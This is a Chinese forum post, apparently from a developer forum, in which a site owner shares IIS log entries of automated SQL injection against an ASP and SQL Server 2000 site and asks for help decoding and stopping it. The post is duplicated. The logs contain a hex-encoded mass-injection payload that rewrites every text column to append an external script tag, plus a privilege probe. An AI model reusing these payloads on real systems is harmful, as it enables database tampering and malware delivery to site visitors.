sql注入问题,很是烦,高手请进
我的网站最近有时反应速度很慢,查看服务器CPU常是100%,程序代码一向正常可以肯定没有死循环之类的错误,所以我怀疑有人在攻击,查看IIS日志,有以下异常代码:
15:43:57 GET /news/search.asp page=1&bid=18&sid=6;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x4445434c415245204054207661726368617228323535292c404320766172636861722832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d727472696d28636f6e7665727428766172636861722c5b272b40432b275d29292b2727223e3c736372697074207372633d687474703a2f2f2533382533382533352533382532452537332537332532452536432536313e3c2f7363726970743e272727294645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72%20eXeC(@s);-- 80 210.83.80.137 - 302 0 0
16:09:16 GET /trade/trade.asp id=12108%20And%20Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20varchar(1))%2Bchar(124)=1 80 210.83.80.137 - 302 0 0
由于字数不够
我只选 了其中两条,类似这样的记录每小时都有好几条。我知道这是SQL注入,其中的sql语句是转码了的,后来我干脆封了这个IP,但还是每天都有。从日志上分析似乎不是人为手动注入的,因为从0点到晚上23点每小时都有这样的记录。
哪位有过类似经验的大哥能给小弟分析一下
并且怎么才能把这段代码转码过来呢?
注:网站用的是asp+SQL2000 曾有数据库注入http://3b3.org/c.js代码,但已经成功解决此问题。网站日IP:3000左右,PV近30000。 以前CPU很正常,程序可以肯定没有死循环等问题。
15:43:57 GET /news/search.asp page=1&bid=18&sid=6;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x4445434c415245204054207661726368617228323535292c404320766172636861722832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d727472696d28636f6e7665727428766172636861722c5b272b40432b275d29292b2727223e3c736372697074207372633d687474703a2f2f2533382533382533352533382532452537332537332532452536432536313e3c2f7363726970743e272727294645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72%20eXeC(@s);-- 80 210.83.80.137 - 302 0 0
16:09:16 GET /trade/trade.asp id=12108%20And%20Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20varchar(1))%2Bchar(124)=1 80 210.83.80.137 - 302 0 0
由于字数不够
我只选 了其中两条,类似这样的记录每小时都有好几条。我知道这是SQL注入,其中的sql语句是转码了的,后来我干脆封了这个IP,但还是每天都有。从日志上分析似乎不是人为手动注入的,因为从0点到晚上23点每小时都有这样的记录。
哪位有过类似经验的大哥能给小弟分析一下
并且怎么才能把这段代码转码过来呢?
注:网站用的是asp+SQL2000 曾有数据库注入http://3b3.org/c.js代码,但已经成功解决此问题。网站日IP:3000左右,PV近30000。 以前CPU很正常,程序可以肯定没有死循环等问题。
...全文
相关推荐
sql注入原理简介
一、什么是sql注入? 二、sql注入产生原因 三、sql注入原理 四、sql注入共计的简单示例
SQL注入问题
sql注入是一种通过在输入中注入sql语句,来达到攻击数据库的效果。今天使用Java语言,来分析一下sql注入的相关问题。 一、什么是SQL注入 SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的...
如何解决sql注入问题
如何解决sql注入问题如何解决sql注入问题
mybatis如何防止SQL注入
mybatis如何防止SQL注入
常用Sql注入语句 常用Sql注入语句
常用Sql注入语句 常用Sql注入语句 常用Sql注入语句


